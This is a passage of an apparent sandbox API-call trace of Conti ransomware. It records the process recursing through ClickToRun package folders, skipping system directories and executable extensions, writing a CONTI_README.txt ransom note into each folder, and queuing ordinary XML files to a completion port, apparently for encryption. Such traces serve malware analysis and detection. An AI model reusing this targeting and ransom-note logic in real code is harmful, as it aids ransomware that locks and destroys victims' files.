	[0098.341] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3ea10 | out: lpFindFileData=0x5c3ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74583d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e74583d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ecac, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.341] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.341] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.341] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.341] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.341] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3ea10 | out: lpFindFileData=0x5c3ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ecac, dwReserved1=0xb6884, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2=".") returned 1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="..") returned 1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="tmp") returned -1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="winnt") returned -1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="Application Data") returned -1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="AppData") returned -1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="temp") returned -1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="thumb") returned -1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="$Recycle.Bin") returned 1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="$RECYCLE.BIN") returned 1
	[0098.341] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="System Volume Information") returned -1
	[0098.342] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="Program Files") returned -1
	[0098.342] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="Program Files (x86)") returned -1
	[0098.342] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="Boot") returned -1
	[0098.342] lstrcmpiW (lpString1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="Windows") returned -1
	[0098.342] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned 103
	[0098.342] lstrlenW (lpString="{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 38
	[0098.342] GetProcessHeap () returned 0x1720000
	[0098.342] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x11e) returned 0x17c3190
	[0098.342] lstrcpyW (in: lpString1=0x17c3190, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}"
	[0098.342] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\"
	[0098.342] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\", lpString2="{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.342] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 142
	[0098.342] GetProcessHeap () returned 0x1720000
	[0098.342] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x122) returned 0x17c32b8
	[0098.342] lstrcpyW (in: lpString1=0x17c32b8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.342] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*"
	[0098.342] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 142
	[0098.342] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.342] GetProcessHeap () returned 0x1720000
	[0098.342] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17c0070
	[0098.342] lstrcpyW (in: lpString1=0x17c0070, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.342] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\"
	[0098.342] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\CONTI_README.txt"
	[0098.342] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.343] GetProcessHeap () returned 0x1720000
	[0098.343] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0070 | out: hHeap=0x1720000) returned 1
	[0098.343] WriteFile (in: hFile=0x378, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3e77c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3e77c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.344] CloseHandle (hObject=0x378) returned 1
	[0098.344] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8070
	[0098.345] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.345] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.345] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.345] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.345] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74583d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e74583d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.345] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.345] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.345] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.345] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.345] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0098.345] lstrcmpiW (lpString1="DeploymentConfiguration.xml", lpString2=".") returned 1
	[0098.345] lstrcmpiW (lpString1="DeploymentConfiguration.xml", lpString2="..") returned 1
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch=".CONTI") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch=".exe") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch=".dll") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch=".lnk") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch=".sys") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch=".CONTI") returned 0x0
	[0098.345] StrStrIW (lpFirst="DeploymentConfiguration.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.345] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 142
	[0098.345] lstrlenW (lpString="DeploymentConfiguration.xml") returned 27
	[0098.345] GetProcessHeap () returned 0x1720000
	[0098.345] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x156) returned 0x17c0070
	[0098.345] lstrcpyW (in: lpString1=0x17c0070, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\"
	[0098.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\", lpString2="DeploymentConfiguration.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml"
	[0098.346] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e88e8) returned 1
	[0098.346] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="Manifest.xml", cAlternateFileName="")) returned 1
	[0098.346] lstrcmpiW (lpString1="Manifest.xml", lpString2=".") returned 1
	[0098.346] lstrcmpiW (lpString1="Manifest.xml", lpString2="..") returned 1
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch=".CONTI") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch=".exe") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch=".dll") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch=".lnk") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch=".sys") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch=".CONTI") returned 0x0
	[0098.346] StrStrIW (lpFirst="Manifest.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.346] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 142
	[0098.346] lstrlenW (lpString="Manifest.xml") returned 12
	[0098.346] GetProcessHeap () returned 0x1720000
	[0098.346] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17c01d0
	[0098.346] lstrcpyW (in: lpString1=0x17c01d0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\"
	[0098.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\", lpString2="Manifest.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml"
	[0098.346] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9698) returned 1
	[0098.346] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1
	[0098.346] lstrcmpiW (lpString1="UserDeploymentConfiguration.xml", lpString2=".") returned 1
	[0098.346] lstrcmpiW (lpString1="UserDeploymentConfiguration.xml", lpString2="..") returned 1
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch=".CONTI") returned 0x0
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch=".exe") returned 0x0
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch=".dll") returned 0x0
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch=".lnk") returned 0x0
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch=".sys") returned 0x0
	[0098.346] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch=".CONTI") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserDeploymentConfiguration.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.347] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 142
	[0098.347] lstrlenW (lpString="UserDeploymentConfiguration.xml") returned 31
	[0098.347] GetProcessHeap () returned 0x1720000
	[0098.347] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15e) returned 0x17d0428
	[0098.347] lstrcpyW (in: lpString1=0x17d0428, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\"
	[0098.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\", lpString2="UserDeploymentConfiguration.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml"
	[0098.347] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e98e0) returned 1
	[0098.347] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1
	[0098.347] lstrcmpiW (lpString1="UserManifest.xml", lpString2=".") returned 1
	[0098.347] lstrcmpiW (lpString1="UserManifest.xml", lpString2="..") returned 1
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch=".CONTI") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch=".exe") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch=".dll") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch=".lnk") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch=".sys") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch=".CONTI") returned 0x0
	[0098.347] StrStrIW (lpFirst="UserManifest.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.347] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned 142
	[0098.347] lstrlenW (lpString="UserManifest.xml") returned 16
	[0098.347] GetProcessHeap () returned 0x1720000
	[0098.347] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d0590
